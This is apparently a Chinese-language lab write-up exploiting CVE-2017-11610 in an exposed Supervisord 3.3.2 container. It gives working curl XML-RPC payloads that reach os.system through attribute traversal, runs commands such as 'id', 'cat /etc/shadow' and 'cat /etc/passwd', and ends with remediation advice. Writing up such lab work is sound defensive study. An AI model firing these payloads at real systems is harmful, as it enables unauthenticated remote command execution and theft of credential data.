从环境中正在运行的内容开始。我列出所有活动容器:``` docker ps-a

**受害者仅暴露了一个端口:`9001`**。
端口 9001 并非标准的 Web 应用。查阅**端口数据库**可知,该端口可能与 **Supervisord**(根据 IANA 的命名,即 ETL 服务管理器)、Tor 代理或其他某些内部服务相关联。然而,我们不能仅凭端口号就得出结论。
⇒ 我直接使用 curl 读取响应,并访问 Web GUI 以收集更多信息```
curl -i http://192.168.3.137:9001/


响应分析:
Server: Medusa/1.12 以及标题 Supervisor Status→ 确认这是 Supervisord,而非 Tor 或任何其他服务。
REFRESH、RESTART ALL、STOP ALLSupervisord 是 Linux 上的进程管理器。如果 port 9001 在未设置密码的情况下暴露到网络中,这是一种危险的配置。攻击者可以查看服务、重启/停止进程,并且在某些配置下,如果拥有修改或控制受管程序的权限,还能利用其执行命令。
分析结论:我们可以确认目标将 Supervisord 管理界面通过网络暴露在 9001 端口。这不是标准的 Web 服务,而是用于监控和控制进程的管理界面。无需认证即可访问此界面的能力,会造成攻击者可以查看受管服务状态或与受管服务交互的风险。
然而,我们必须区分可见的 UI 与底层的控制机制。像 REFRESH、RESTART ALL、STOP ALL 这样的按钮并不会在前端独立处理请求;相反,它们必须调用 Supervisord 的接口/后端来获取状态或发送进程控制命令。因此,在确认 Web UI 已暴露之后,下一步分析是确定 Web UI 背后是否还存在底层的控制接口,以及该接口是否需要认证。
⇒ 思考:需要检查 Web UI 背后的控制接口是否存在,以及它是否需要认证。

根据 Supervisor 的文档,[inet_http_server] 是一个监听 TCP 套接字的 HTTP 服务器。该接口默认不启用,只应在受信任的环境中使用,不支持加密,并且除非配置了 username/password,否则默认没有认证。
该文档还指出,[inet_http_server] 的端口用于接收 HTTP/XML-RPC 请求;supervisorctl 通过该端口使用 XML-RPC 与 supervisord 通信。这与我们在实验中的观察一致:容器暴露了 0.0.0.0:9001->9001/tcp,Web UI 无需认证即可访问,显示的版本是 Supervisor 3.3.2。
因此,在确认 9001 端口上的 Web UI 之后,下一步是检查 XML-RPC 端点 /RPC2。基于 Supervisord 的官方机制,我们需要验证以下目标:
/RPC2 是否存在。supervisor.getState 或 system.listMethods 的非破坏性方法。检查端点是否存活:```
curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

结果返回的是 `HTTP/1.1 200 OK`,而不是 `401 Unauthorized` 或 `403 Forbidden`,这表明服务器在没有凭据的情况下接受了该请求。响应采用 XML-RPC 的 `<methodResponse>` 格式,并包含 `statename=RUNNING` 和 `statecode=1`,证明 `/RPC2` 端点处于活动状态,且 `supervisor.getState` 方法已成功执行。
**⇒ 思考:** 攻击面不再局限于 Web UI,而是扩展到了 XML-RPC API,该 API 负责处理守护进程/进程控制命令。从这里开始,下一步的分析方向是**检查 Supervisor** 如何处理 **XML-RPC** 中的 `methodName`,以判断当前目标是否**表现出 CVE-2017-11610 的行为**,该漏洞存在于该方法的调度/查找机制中。我们需要验证这一点,以最终判断它是否就是 **CVE-2017-11610**。
### **分析 XML-RPC 中的方法名处理**
在上一步中,我们通过 `/RPC2` 端点成功调用了 `supervisor.getState` 方法。这就引出了下一个问题:当收到一个基于字符串的 `methodName` 时,Supervisord 如何将该字符串映射到内部的 Python 函数?
在 XML-RPC 中,方法通常使用命名空间,例如:
- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`
从逻辑上讲,服务器接收 `methodName` 字符串,按点 `.` 进行拆分,然后在已注册的处理器中查找对应的对象/函数。
伪代码可以理解如下:```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
parts = method_name.split(".") # ["supervisor", "getState"]
obj = registered_handlers[parts[0]] # get namespace "supervisor"
for attr in parts[1:]:
obj = getattr(obj, attr) # lookup the next attribute
return obj(*params) # call the final function
对于标准方法(如 supervisor.getState),该机制正常工作:服务器会取出 supervisor 处理器,然后调用 getState 函数。 然而,CVE-2017-11610 的核心问题在于,这种查找机制并未充分限制允许访问的属性。如果攻击者能够控制 methodName,那么他们不仅可以调用 getState 等公开方法,还可以沿 supervisor 处理器向下深入遍历其内部可达的对象/模块。
换句话说,methodName 中的点 . 不仅用于调用合法方法,还可能被滥用为遍历对象属性。
这就构成了我们的利用路径:
supervisor → supervisord → options → warnings → linecache → os → system
其思路是:从 supervisor 处理器出发,沿属性追踪到守护进程的内部对象,然后借助预先导入的 Python 模块最终抵达 os.system。如果能够调用 os.system,攻击者就能以 supervisord 进程的权限执行系统命令。
因此,攻击链遵循以下逻辑:
/RPC2 接受未认证的方法调用 → 研究 XML-RPC 如何分发 methodName → 发现 methodName 可以遍历对象属性 → 最终导致调用 os.system。
首先,我需要检查服务器是否真的允许遍历内部属性。 我会尝试调用一个比平时更长的 method name。如果服务器返回“method not found”错误,说明存在过滤器;如果返回的是其他错误(或调用成功),则说明遍历有效。
思考: 我已经知道 supervisor.getState 可以工作。如果我尝试 supervisor.supervisord——这相当于多向下一层——而服务器没有返回 unknown method 错误,那就意味着它确实在使用递归 getattr,且没有白名单限制。
我们知道 XML-RPC 是一种基于 HTTP 的远程过程调用协议,数据以 XML 编码传输。每个请求仅由3 个固定组件组成:```
⇒ 应用:尝试调用比平时更长的 methodName,以检查命名空间遍历:```
curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

返回的是 `HTTP 500 Internal Server Error`,而不是标准的 `unknown method` 错误。这表明服务器并未在有效的命名空间级别拦截 `methodName`,而是在调度过程中继续处理了 `supervisor.supervisord.options` 链。换句话说,请求深入遍历了属性查找机制;错误发生在后续步骤,因为解析出的对象无法作为方法调用。这是命名空间通过 `methodName` 进行遍历已生效的明确迹象。
### **查找命令执行函数的路径**
遍历已生效。下一步是**查找一个以可执行系统命令的可调用函数结尾的属性链。**在 Python 中,最容易验证的目标是 `os.system()`。然而,我们**在目标上没有 shell**,并且**无法直接读取容器中的源代码/运行时对象。**因此,我们必须**根据 Python 的导入机制进行推断**,并**先在本地验证依赖关系。**
需要检查的链为:
`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`
- Supervisord 是用 Python 编写的,因此 `options` 等内部对象是带有属性的 Python 对象。
- 如果某个模块通过 `import X` 导入另一个模块,那么 `X` 将存在于该模块的命名空间中。
- 在 Python 标准库中,`warnings` 模块导入 `linecache` 以便在显示警告时获取上下文。
- `linecache` 模块导入 `os` 用于路径/文件操作。
- `os` 模块提供 `system()` 函数,该函数是可执行 shell 命令的可调用对象。
在对目标执行之前,先在本地确认此依赖关系:```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True
python3 -c "import linecache; print('os' in dir(linecache))"
# True
python3 -c "import os; print(callable(os.system))"
# True
⇒ 思考: 依赖链 warnings → linecache → os 是 CPython 标准库中的真实依赖关系;并且 system 确实是 os 模块中的一个可调用函数。结合 XML-RPC 中的命名空间遍历缺陷,如果我们能从 supervisor 处理程序访问到 supervisord.options.warnings,我们就可以继续遍历到 linecache.os.system 来调用系统命令。
在识别出通往 os.system 的遍历链之后,下一步是构造 XML-RPC 请求来调用该函数。在 Python 中,os.system() 接受一个字符串参数,代表要执行的 shell 命令,并返回命令的退出码。该函数不会直接将 stdout 返回给 XML-RPC 响应,因此为了证明命令已执行,我们必须将输出重定向到文件中。
⇒ 思考: 响应中没有直接输出,因此将结果写入 /tmp。在 Linux 上,/tmp 目录通常所有用户都可写。一个安全的验证载荷是:
id > /tmp/rce_proof.txt
将上述分析的 XML-RPC 模板应用过来,把 <methodName> 替换为指向 os.system 的遍历链,并在 <string> 中传入 shell 命令:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

`<int>0</int>` 是 `os.system()` 的退出码,而不是命令的标准输出。退出码 `0` 表示 shell 命令执行成功。我们可以通过读取容器内的文件来验证这一点:```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

⇒ RCE 已确认。 id 命令已在容器内执行,运行权限为 nobody 用户(uid=65534)。
关键点:RCE 已实现,但执行权限取决于运行 supervisord 进程的用户。在本实验环境中,命令以 nobody 用户身份运行,这意味着其影响范围比 supervisord 以 root 身份运行时更为受限。
确认 RCE 后,我们知道 nobody 是 Linux 上的低权限用户。不过,我们应通过实际验证而非仅依赖 id 的输出来确认这一点。验证方法是尝试读取 /etc/shadow,因为该文件通常仅 root 用户和 shadow 组可读。如果可读,则说明进程拥有高权限;如果被阻止,则权限确实受限。
发送读取 /etc/shadow 的 payload,并将 stdout/stderr 都重定向到文件:```bash
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

响应返回 `<int>256</int>`,这是 `os.system()` 的返回值。在 Unix 中,退出状态经过编码;`256` 对应 shell 命令退出码 `1`。这表明命令已执行但失败。
我们通过读取容器内的输出文件并检查 `/etc/shadow` 的权限来确认失败原因:```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

结果显示输出文件记录了此错误:
cat: /etc/shadow: Permission denied
/etc/shadow 的权限为:
rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow文件 /etc/shadow 的所有者为 root,组为 shadow,仅所有者/组可读。同时,我们之前的 RCE 已确认命令以 nobody 用户身份运行;该用户不属于 shadow 组,因此无法读取此文件。
⇒ 结论: RCE 已实现,但权限确实仅限于 nobody 用户。这与以 root 身份运行的服务有重要区别:攻击者可以执行命令,但不会自动获得对系统的完全控制权。
虽然我们无法读取 /etc/shadow,但 RCE 仍然允许我们以 nobody 权限执行命令。因此,我们可以继续收集该用户有权读取的信息,例如正在运行的进程列表和系统上的用户信息。
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

容器中的 PID 1 以 root 用户身份运行,但 supervisord 进程以 nobody 用户身份运行。这解释了为什么 RCE 成功执行,却缺乏读取仅 root 可访问文件的权限。
结果: ps aux 显示容器中的 PID 1 是 /bin/bash /usr/local/bin/docker-entrypoint.sh,以 root 用户身份运行,而 supervisord 进程以 nobody 用户身份运行。
这解释了为什么 RCE 成功执行但没有权限读取仅 root 可访问的文件:命令是以 supervisord 进程的权限执行的,而不是 PID 1。
curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2
```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

结果: /etc/passwd 显示系统主要包含默认用户,如 root、daemon、nobody 和 _apt;未检测到其他服务用户。这表明容器环境极简,在此阶段缺乏其他可利用或用于横向移动的应用账户。
在本实验中,无法建立反弹 Shell。然而,我们不应简单断定 Docker 桥接网络总是会阻止反弹 Shell,因为 Docker 容器通常通过 NAT 保留出站能力。原因可能出在路由、防火墙、监听器、接口或实验环境的网络配置上。
关键在于:反弹 Shell 失败并不会改变主要结论。通过 id 载荷、响应退出代码 0 以及 /tmp 中的输出文件,已确认存在 RCE。攻击者可以以 nobody 用户的权限在容器内执行任意命令。
| 标准 | 评估 | 详细信息 |
|---|---|---|
| CVSS 评分 | 9.8 (严重) | 根据 CVE/NVD,该漏洞是 Supervisor <= 3.3.2 上的未认证 RCE |
| 认证 | 不需要 | 端点 /RPC2 处理 XML-RPC 请求时无需用户名/密码 |
| 复杂度 | 低 | 可通过手动 XML-RPC 请求利用,无需 Metasploit |
| 获得的权限 | nobody | RCE 以 supervisord 进程的权限运行;在本实验中,限制为 nobody 用户 |
| 影响 | 高 | 能够执行命令、在 /tmp 等可写目录中写入文件,以及收集系统信息 |
| 限制 | 无法读取仅 root 可读的文件 | /etc/shadow 返回 Permission Denied,证明权限不是 root |
| 内网横向移动 | 可行 | 如果网络策略允许,nobody 用户仍可尝试连接其他服务/容器 |
紧急优先
将 Supervisord 升级到已修复版本
将 Supervisor 升级到版本 >= 3.3.3。已修复版本完全消除了 XML-RPC 中的递归命名空间查找机制,这是 CVE-2017-11610 的根本原因。
除非必要,否则不要将 [inet_http_server] 暴露到网络
如果不需要 Web UI 或远程管理,请完全禁用 [inet_http_server]。这是一个管理接口,不应在网络上广泛可访问。
限制绑定地址
如果仍需要启用 Web UI,请仅绑定到 localhost,而不是 0.0.0.0:
[inet_http_server]
port=127.0.0.1:9001
高优先级
为 [inet_http_server] 启用认证
如果必须暴露此接口用于远程管理,请配置强用户名/密码:
[inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>
如果必须绑定到网络,不要仅依赖密码;应将其置于 VPN/反向代理之后,或按 IP 限制访问。
使用防火墙限制访问
仅允许管理 IP 访问端口 9001,例如通过防火墙/安全组。不要将此端口暴露到公网或整个内网。
以低权限用户运行 supervisord
本实验以 nobody 用户运行,从而限制了影响范围。在实际环境中,除非绝对必要,否则避免以 root 身份运行 supervisord。